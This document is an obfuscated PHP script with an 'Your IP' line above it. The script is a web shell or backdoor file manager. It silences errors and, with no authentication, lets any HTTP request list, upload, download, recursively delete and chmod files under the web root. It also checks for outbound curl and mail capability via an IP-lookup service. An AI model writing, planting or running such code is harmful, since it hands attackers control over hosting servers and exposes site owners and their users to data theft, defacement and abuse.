Your IP : 216.73.216.180
<?php
@error_reporting(0); @ini_set('display_errors', 0); $sp4dffca = ''; $spe21a04 = 1.0; function __delete_recursive($spa1988c) { global $sp2c02ee; if (is_file($sp2c02ee . $spa1988c)) { unlink($sp2c02ee . $spa1988c); } else { $spf797af = opendir($sp2c02ee . $spa1988c); while ($sp297b20 = readdir($spf797af)) { if ($sp297b20 == '.' || $sp297b20 == '..') { continue; } __delete_recursive($spa1988c . '/' . $sp297b20); } closedir($spf797af); rmdir($sp2c02ee . $spa1988c); } } if (!empty($sp4dffca) && !isset($_SERVER['HTTP_' . strtoupper($sp4dffca)])) { header('HTTP/1.0 403 Forbidden'); die; } $spa9ccb9 = $_REQUEST['action']; $sp2c02ee = preg_replace('/' . preg_quote($_SERVER['REQUEST_URI'], '/') . '$/', '', $_SERVER['SCRIPT_FILENAME']); $spa1988c = $_REQUEST['path']; if (empty($spa1988c) || $spa1988c == '/') { $spa1988c = ''; } if (!empty($spa1988c) && substr($spa1988c, 0, 1) != '/') { $spa1988c = '/' . $spa1988c; } switch ($spa9ccb9) { case 'create': mkdir($sp2c02ee . $spa1988c . '/' . $_REQUEST['name']); echo serialize(array('success' => file_exists($sp2c02ee . $spa1988c . '/' . $_REQUEST['name']))); break; case 'upload': if ($_FILES['upload']['error'] > 0) { echo serialize(array('success' => false)); break; } move_uploaded_file($_FILES['upload']['tmp_name'], $sp2c02ee . $spa1988c . '/' . $_FILES['upload']['name']); echo serialize(array('success' => file_exists($sp2c02ee . $spa1988c . '/' . $_FILES['upload']['name']))); break; case 'download': if (empty($spa1988c) || !file_exists($sp2c02ee . $spa1988c) || is_dir($sp2c02ee . $spa1988c)) { header('HTTP/1.0 404 Not Found'); break; } $sp8c9916 = fopen($sp2c02ee . $spa1988c, 'r'); fpassthru($sp8c9916); fclose($sp8c9916); break; case 'delete': if (empty($spa1988c) || !file_exists($sp2c02ee . $spa1988c)) { echo serialize(array('success' => false)); break; } __delete_recursive($spa1988c); echo serialize(array('success' => !file_exists($spa1988c))); break; case 'chmod': if (empty($spa1988c) || !file_exists($sp2c02ee . $spa1988c)) { echo serialize(array('success' => false)); break; } chmod($sp2c02ee . $spa1988c, octdec($_REQUEST['mode'])); echo serialize(array('success' => true)); break; default: $spde6ef5 = array(); $spf797af = opendir($sp2c02ee . $spa1988c); while ($sp297b20 = readdir($spf797af)) { if ($sp297b20 == '.' || $sp297b20 == '..') { continue; } $spe202fb = stat($sp2c02ee . $spa1988c . '/' . $sp297b20); $spde6ef5[] = array('name' => $sp297b20, 'path' => $spa1988c . '/' . $sp297b20, 'is_writable' => is_writable($sp2c02ee . $spa1988c . '/' . $sp297b20), 'is_dir' => is_dir($sp2c02ee . $spa1988c . '/' . $sp297b20), 'size' => $spe202fb['size'], 'mode' => $spe202fb['mode']); } closedir($spf797af); $sp0c9af1 = array('root' => $sp2c02ee, 'path' => $spa1988c, 'files' => $spde6ef5, 'php_version' => phpversion(), 'api_version' => $spe21a04, 'is_writable' => is_writable($sp2c02ee . $spa1988c)); if (!empty($_REQUEST['test'])) { $sp0c9af1['mail_enabled'] = function_exists('mail'); if (function_exists('curl_init')) { $sp29215a = curl_init('https://api.ipify.org?format=json'); curl_setopt($sp29215a, CURLOPT_RETURNTRANSFER, true); $spb6f217 = json_decode(curl_exec($sp29215a), true); $spd080a0 = !empty($spb6f217['ip']); } else { $spd080a0 = false; } $sp0c9af1['curl_enabled'] = $spd080a0; } echo serialize($sp0c9af1); }